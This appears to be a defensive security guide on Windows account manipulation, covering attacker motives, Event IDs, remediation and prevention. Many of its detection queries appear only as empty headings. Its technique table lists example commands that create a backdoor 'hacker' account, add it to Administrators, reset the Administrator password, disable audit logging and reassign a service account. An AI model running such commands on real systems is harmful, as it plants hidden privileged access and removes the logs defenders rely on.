Focus on Memory Behavior: Techniques like VirtualAlloc and WriteProcessMemory are common.
Enable Security Auditing: Log Event IDs 4688, 4697, and 4689.
🚨 Account Manipulation
🔍 1. Attack Breakdown
📝 What is Account Manipulation?
Account Manipulation refers to the modification of user accounts in an operating system or directory service, often with malicious intent.
Attackers manipulate accounts to:
Maintain Persistence: Create or modify accounts for long-term access.
Escalate Privileges: Grant higher privileges to standard accounts.
Evade Detection: Disable logging or lock out legitimate administrators.
Create Backdoors: Add unauthorized accounts for fallback access.
📑 Why Attackers Use Account Manipulation?
Stealth Persistence: Stay undetected while maintaining access.
Privilege Escalation: Gain admin or system-level access.
Disable Security Controls: Turn off auditing or account policies.
Lateral Movement: Use compromised accounts to move across systems.
📌 Common Techniques for Account Manipulation
Technique
Description
Example Command
Create New Account
Add a new local user.
net user hacker Pass123! /add
Add Account to Admin Group
Grant administrative privileges.
net localgroup Administrators hacker /add
Modify Account Properties
Enable disabled accounts.
net user Administrator /active:yes
Change Passwords
Change account passwords.
net user Administrator NewPass123!
Disable Security Controls
Turn off account auditing.
auditpol /set /category:"Account Management" /success:disable
Modify Service Accounts
Change account used by a service.
sc config TrustedInstaller obj= .\hacker
📊 Common Tools for Account Manipulation
Tool
Purpose
Net User
Create and modify user accounts.
PowerShell
Script account changes.
Mimikatz
Extract and manipulate account credentials.
Windows Management Instrumentation (WMI)
Modify accounts remotely.
Active Directory Users and Computers (ADUC)
Graphical account management.
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ List Local User Accounts
🕵️ Check Accounts Added to Admin Groups
🕵️ Review Recently Created Accounts
🕵️ Check for Modified Account Policies
🕵️ Inspect Event Logs for Account Creation
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Account Creation Events
🕵️ Detect Accounts Added to Admin Groups
🕵️ Detect Suspicious Account Modifications
🕵️ Monitor Password Changes
🕵️ Detect Disabled Security Auditing
🕵️ Monitor Suspicious PowerShell Commands
📊 Event Viewer Logs
Event ID
Description
4720
A user account was created.
4722
A user account was enabled.
4724
An attempt was made to reset an account's password.
4725
A user account was disabled.
4728
A user was added to a privileged group.
4738
A user account was changed.
📌 Focus on Event ID 4720 (Account Creation):
Look for unusual account names and timestamps.
📌 Focus on Event ID 4728 (Added to Admin Group):
Check if accounts were added unexpectedly to
Administrators
.
📌 Focus on Event ID 4724 (Password Reset):
Look for accounts with passwords reset by unusual accounts.
🕵️ 3. Investigation Techniques
1️⃣ Identify Suspicious Accounts
Check recently created accounts:
2️⃣ Inspect Privileged Group Membership
Review
Administrators
group:
3️⃣ Trace Password Changes
Inspect Event Logs:
4️⃣ Audit Account Policies
Ensure auditing is enabled:
5️⃣ Review Suspicious Commands
Check for suspicious command execution:
🔧 4. Remediation Steps
📌 1. Disable Suspicious Accounts
📌 2. Remove Unauthorized Group Membership
📌 3. Reset Compromised Account Passwords
📌 4. Enable Security Auditing
📌 5. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Account Auditing:
Ensure Event IDs 4720, 4728, 4724, and 4738 are logged.
Use Least Privilege Principle:
Limit admin access to essential accounts only.
Implement Strong Password Policies:
Enforce complex passwords and regular password changes.
Restrict Account Creation:
Use Group Policy to restrict account creation permissions.
Enable Multi-Factor Authentication (MFA):
Prevent unauthorized account access.
Monitor Critical Accounts:
Set up alerts for admin accounts and privileged group changes.
Educate Administrators:
Train admins to recognize and respond to account manipulation attempts.
🧠 6. Key Takeaways
Account Manipulation Enables Persistence: Attackers use it for long-term access.
Monitor Privileged Groups: Admin group changes are a red flag.
Audit Account Changes: Focus on Event IDs 4720, 4728, 4724.
Prevent Unauthorized Account Modifications: Use Group Policy and MFA.
Last updated